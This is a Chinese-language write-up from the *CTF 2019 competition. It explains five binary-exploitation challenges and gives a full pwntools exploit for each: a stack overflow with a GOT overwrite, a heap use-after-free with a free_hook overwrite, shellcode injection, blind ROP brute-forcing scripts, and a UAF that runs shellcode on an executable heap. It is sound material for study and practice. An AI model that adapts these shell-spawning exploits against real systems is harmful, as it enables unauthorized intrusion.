*CTF 2019 PWN

作者: Kirin_say | 来源:发表于2019-04-29 20:47 被阅读120次
My Solve

最后还是抽时间打了这场CTF,solo失败,丢了3个PWN,做了前5个,比较简单,剩下的三个通过解题人数看比较有难度,应该不是一两个小时能解决的,遂放弃不看,选择复习今天的信息论考试

0x01 quicksort

Analyze

程序流程:

unsigned int main_func()
{
  int *v0; // ebx
  char s; // [esp+Ch] [ebp-2Ch]
  char v3; // [esp+Dh] [ebp-2Bh]
  char v4; // [esp+Eh] [ebp-2Ah]
  char v5; // [esp+Fh] [ebp-29h]
  char v6; // [esp+10h] [ebp-28h]
  char v7; // [esp+11h] [ebp-27h]
  char v8; // [esp+12h] [ebp-26h]
  char v9; // [esp+13h] [ebp-25h]
  char v10; // [esp+14h] [ebp-24h]
  char v11; // [esp+15h] [ebp-23h]
  char v12; // [esp+16h] [ebp-22h]
  char v13; // [esp+17h] [ebp-21h]
  char v14; // [esp+18h] [ebp-20h]
  char v15; // [esp+19h] [ebp-1Fh]
  char v16; // [esp+1Ah] [ebp-1Eh]
  char v17; // [esp+1Bh] [ebp-1Dh]
  int v18; // [esp+1Ch] [ebp-1Ch]
  int i; // [esp+20h] [ebp-18h]
  int j; // [esp+24h] [ebp-14h]
  void *ptr; // [esp+28h] [ebp-10h]
  unsigned int v22; // [esp+2Ch] [ebp-Ch]

  v22 = __readgsdword(0x14u);
  v3 = 0;
  v4 = 0;
  v5 = 0;
  v6 = 0;
  v7 = 0;
  v8 = 0;
  v9 = 0;
  v10 = 0;
  v11 = 0;
  v12 = 0;
  v13 = 0;
  v14 = 0;
  v15 = 0;
  v16 = 0;
  v17 = 0;
  s = 0;
  v18 = 0;
  puts("how many numbers do you want to sort?");
  __isoc99_scanf("%d", &v18);
  getchar();
  ptr = malloc(4 * v18);
  for ( i = 0; i < v18; ++i )
  {
    printf("the %dth number:", i + 1);
    gets(&s);
    v0 = (int *)((char *)ptr + 4 * i);
    *v0 = atoi(&s);
  }
  sort(ptr, 0, v18 - 1);
  puts("Here is the result:");
  for ( j = 0; j < v18; ++j )
    printf("%d ", *((_DWORD *)ptr + j));
  puts(&byte_8048AD2);
  free(ptr);
  return __readgsdword(0x14u) ^ v22;
}

获得多个num,而后进行排序输出
但是获取数字时采用gets,存在栈溢,可以覆盖掉栈中的i和预先分配的堆地址,改到got表即可leak,在leak同时修改free为main_func地址即可再次利用栈溢出,修改另一个got表中函数到system即可get shell,这里注意利用时覆盖i和最开始的数目时的大小问题,利用gets时存在\x00覆盖及时缩小num停止输入以及防止sort时crash

EXP:

from pwn import *
context.log_level="debug"
p=process("./quicksort")
#p=remote("34.92.96.238",10000)
p.sendlineafter("?\n","2")
p.sendlineafter("number:","134514915"+"aaaaaaa"+"\x01\x01\x01\x01"+"\xFF\xFF\xFF\xFF"+"AAAA"+p32(0x804A01C))
p.sendlineafter("number:","134513904"+"aaaaaaa"+"\x01\x01\x01\x01\x02")
p.sendlineafter("number:","134513904"+"aaaaaaa"+"\x01\x01\x01")
p.sendlineafter("number:","134513904"+"aaaaaaa"+"\x01\x01")
p.sendlineafter("number:","134513904"+"aaaaaaa"+"\x06")
puts_addr=0x8048560
p.recvuntil("Here is the result:")
libc=0x100000000+int(p.recvuntil(" "))-0x65b40
print hex(libc)
code=str(libc+0x3ada0-0x100000000).ljust(16," ")
p.sendlineafter("number:",code+"\x01\x01\x01\x01"+"\xFF\xFF\xFF\xFF"+"AAAA"+p32(0x804A038+0x4))
p.sendlineafter("number:","/bin/sh")
#gdb.attach(p)
p.interactive()

0x02 girlfriend

Analyze

使用了libc 2.29,对tcache加入了保护机制
程序漏洞很明显,存在uaf
首先可以直接用过unsortbin来leak libc
无法直接tcache double free,不过很好绕过
直接将tcache填满,构造fastbin double free即可
而后申请到fastbin时覆盖fd指向free hook,最后修改其为system,再free字符为"/bin/sh\x00"堆块即可
Something else:
主要注意到程序启动方式:

#!/bin/bash
./lib/ld-2.29.so --library-path ./lib ./chall

lib下放置:

ld-2.29.so  libc.so.6(2.29)

学习到了这种调试不同libc版本方法
在exp调试时,不要直接attach,这样attach的是sh脚本
可以选择ps -ef找到sh脚本开启的进程再gdb attach PID调试

EXP:

from pwn import *

#context.log_level="debug"
def add(size,note,call="aaaa"):
    p.sendlineafter("choice:","1")
    p.sendlineafter("name\n",str(size))
    p.sendafter("name:\n",note)
    p.sendafter("call:\n",call)
def delete(index):
    p.sendlineafter("choice:","4")
    p.sendlineafter("index:\n",str(index))
def show(index):
    p.sendlineafter("choice:","2")
    p.sendlineafter("index:\n",str(index))
    p.recvuntil("name:\n")
    return p.recv(6)
p=process("./pwn")
#p=remote("34.92.96.238",10001)
add(0x500,"aaaa")
add(0x100,"aaaa")
delete(0)
libc_addr=u64(show(0)+'\x00\x00')-0x3b1ca0
print hex(libc_addr)
for i in range(10):
    add(0x60,"a"*0x60)
for i in range(10):
    delete(i+2)
delete(10)
for i in range(7):
  add(0x60,"aaaa")
add(0x60,p64(libc_addr+0x3b38c8-0x13))
add(0x60,p64(libc_addr+0x3b38c8-0x13))
add(0x60,"/bin/sh\x00")
add(0x60,"a"*0x13+p64(libc_addr+0x41c30))
delete(21)
#gdb.attach(p)
p.interactive()

0x03 babyshell

这个没啥好说的
直接\x00截断,调shellcode:

from pwn import *

context.arch="amd64"
p=remote("34.92.37.22",10002)
bypass=asm("push 0") + asm(shellcraft.sh())
#push 0:"j\x00"
p.sendafter("plz:",bypass)
p.interactive()

0x04 blindpwn

Analyze

明显的brop
首先fuzz栈长度(前面几步直接使用hctf脚本):

from pwn import*
def getsize():
    i = 1
    while 1:
        try:
            p = remote()
            p.recvuntil("pwn!\n")
            p.send(i*'a')
            data = p.recv()
            p.close()
            if not data.startswith('Goodbye!'):
                return i-1
            else:
                i+=1
        except EOFError:
            p.close()
            return i-1

size = getsize()
print "size is [%s]"%size
#40

再爆破到main_func(stop_gadget)地址:

from pwn import *
'''
find a gadget return main function
'''
def get_stop():
    addr = 0x400000
    f = open('1.txt','w')
    while 1:
        sleep(0.1)
        addr += 1
        try:
            print hex(addr)
            p = remote()
            p.recvuntil("pwn!\n")
            payload = 'a'*40 + p64(addr)
            p.sendline(payload)
            data = p.recv()
            p.close()
            if data.startswith('Welcome'):
                print "main funciton-->[%s]"%hex(addr)
                pause()
                return addr
            else:
                print 'one success addr : 0x%x'%(addr)
        except EOFError as e:
            p.close()
            log.info("bad :0x%x"%addr)
        except:
            log.info("can't connect")
            addr -= 1

data = get_stop()
print hex(data)
#0x400570

找到一个pop_ret:

from pwn import *
def get_brop_gadget(length,stop_gadget,addr):
    try:
        p = remote()
        p.recvuntil("pwn!\n")
        payload = 'a'*length + p64(addr) + p64(0)*6 + p64(stop_gadget) + p64(0)*10
        p.sendline(payload)
        content = p.recv()
        p.close()
        print content
        if not content.startswith('Welcome'):
            return False
        return True
    except Exception:
        p.close()
        return False

def check_brop_gadget(length,addr):
    try:
        p = remote()
        p.recvuntil("pwn!\n")
        payload = 'a'*length + p64(addr) + 'a'*8*10
        p.sendline(payload)
        content = p.recv()
        p.close()
        return False
    except Exception:
        p.close()
        return True

length = 40
stop_gadget = 0x400570
addr = 0x400600
while 1:
    print hex(addr)
    if get_brop_gadget(length,stop_gadget, addr):
        print "possible stop_gadget :0x%x"%addr
        if check_brop_gadget(length,addr):
            print "success brop gadget:0x%x"%addr
            #f.write("success brop gadget :0x%x"%addr + "\n")
            break
    addr += 1
#0x40077a

紧接着fuzz put_plt时总是失败,初步猜测是不是因为后面实际使用的是write等函数,不过重新用pop_ret fuzz也没出来:

from pwn import*

def get_puts(length,rdi_ret,stop_gaddet):
    addr = 0x400000
    while 1:
        print hex(addr)
        p = remote('34.92.37.22',10000)
        p.recvuntil("pwn!\n")
        payload = 'a'*length + p64(rdi_ret) +p64(0x400000)*6+p64(addr) + p64(stop_gadget)
        p.sendline(payload)
        try:
            content = p.recv()
            print content
            if content.startswith('\x7fELF'):
                print 'find puts@plt addr : 0x%x'%addr
                return addr
            p.close()
            addr+=1
        except Exception:
            p.close()
            addr+=1

length = 40
rdi_ret = 0x40077a
stop_gadget = 0x400570
puts = get_puts(length,rdi_ret,stop_gadget)

不过后期开启debug,输出交互信息,发现存在一些地址输出不可见字符,且没有00截断,所以猜测应该不是puts,输出的不可见字符大部分很明显是程序data段信息,还有一些是栈上信息,看到其中有最常见的libc_start_main+0xF0,将这些可以输出不可见字符的地址提取后,发现其中有一个输出栈中数据(包含libc_start_main+0xF0)的可以成功返回,接下来就是leak一遍再返回到one_gadget即可,这里因为总是crash,选择使用pop_ret构造了一下one_gadget的条件(rax=0)

EXP

from pwn import *
context.log_level="debug"
p=remote("34.92.37.22",10000)
main_func=0x400570
pop_ret=0x40077a
p.recvuntil("!\n")
p.send('a'*40+p64(0x4006f6)+p64(main_func))
p.recv(0x48)
libc_addr=u64(p.recv(8))-0x20740-0xf0
one_target=libc_addr+0x45216
p.send("a"*0x28+p64(pop_ret) +p64(0)*6+p64(one_target))
p.interactive()

0x05 upxofcpp

程序有壳
upx -d即可脱壳
脱壳后程序保护:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

这是一个c++程序
当新增一个vec时
会首先使用operator new(0x18)申请一个0x20大小的堆,结构为:

&func_table_list
vec_addr

在调用free和show的时候都会首先判断此索引位置func_table_list偏移8和0x10是否为预先设置的函数,是则正常走流程,否则则调用改变过的函数处理堆块
漏洞点很明显,delete时存在UAF
不过因为free后函数表指针指向堆,这时候利用uaf总会crash
不过也产生了新想法,总是指向堆,选择直接看未脱壳程序的堆块权限:

......
......
    0x7ffff7ffe000     0x7ffff8031000 rwxp    33000 0      [heap]
    0x7ffffffde000     0x7ffffffff000 rwxp    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

可写可执行
接下来思路就很明显了:
利用uaf将一个0x20堆块fd指向另一块0x20堆块,此时对应show预定义函数偏移0x10位置即是堆块的fd,为了便于填下shellcode,利用申请一个大堆块造成小堆合并,将第二个0x20改为大堆块,并利用free将其fd指向另一处大堆块,最后一个chunk再次通过合并和重新分配使原本fd指向的prev size变为data域,此时在这里写入shellcode,这样,当show最初堆块时就会最终调用shellcode从而get shell(赛时没想起来,最开始直接在prev size构造jmp就可以了,汇编中jmp后的数只是相对当前位置,这样就不需要考虑shellcode长度问题了,这点比赛时候有点犯傻了):

from pwn import *
context.arch="amd64"
context.log_level="debug"
def alloc(index,size,num):
    p.sendlineafter("choice:","1")
    p.sendlineafter("Index:",str(index))
    p.sendlineafter("Size:",str(size))
    numstr=""
    for i in num:
         numstr=numstr+str(i)+"  "
    numstr+="-1"
    p.sendlineafter("stop:",numstr)
def remove(index):
    p.sendlineafter("choice:","2")
    p.sendlineafter("index:",str(index))

shell=asm(shellcraft.sh())
shell_num=[0,0,0,0]
for i in range(12):
    k=u32(shell[i*4:i*4+4])
    if k>0x80000000:
       shell_num.append(k-0x100000000)
    else:
       shell_num.append(k) 
#p=process("upxofcpp")
p=remote("34.92.121.149",10000)
alloc(0,16,[1,1,1])
alloc(1,16,[2,2,2])
alloc(2,16,[3,3,3])
remove(1)
remove(0)
remove(2)
alloc(3,3,[])
alloc(4,16,[4,4,4])
alloc(5,16,[5,5,5])
remove(4)
remove(5)
alloc(6,1000,[6,6,6])
alloc(7,10,[7,7,7])
alloc(8,10,[8,8,8])
remove(8)
alloc(9,24,[1,1,1,1])
alloc(10,24,[2,2,2,2])
remove(10)
remove(9)
alloc(11,24,[])
alloc(13,3,[])
alloc(14,3,[])
remove(13)
remove(14)
alloc(12,1000,[7,7,7,7])
alloc(15,30,shell_num)
p.sendlineafter("choice:","4")
p.sendlineafter("index:","0")
#gdb.attach(p)
p.interactive()

相关文章

网友评论

    本文标题:*CTF 2019 PWN

    本文链接:https://www.haomeiwen.com/subject/qjnunqtx.html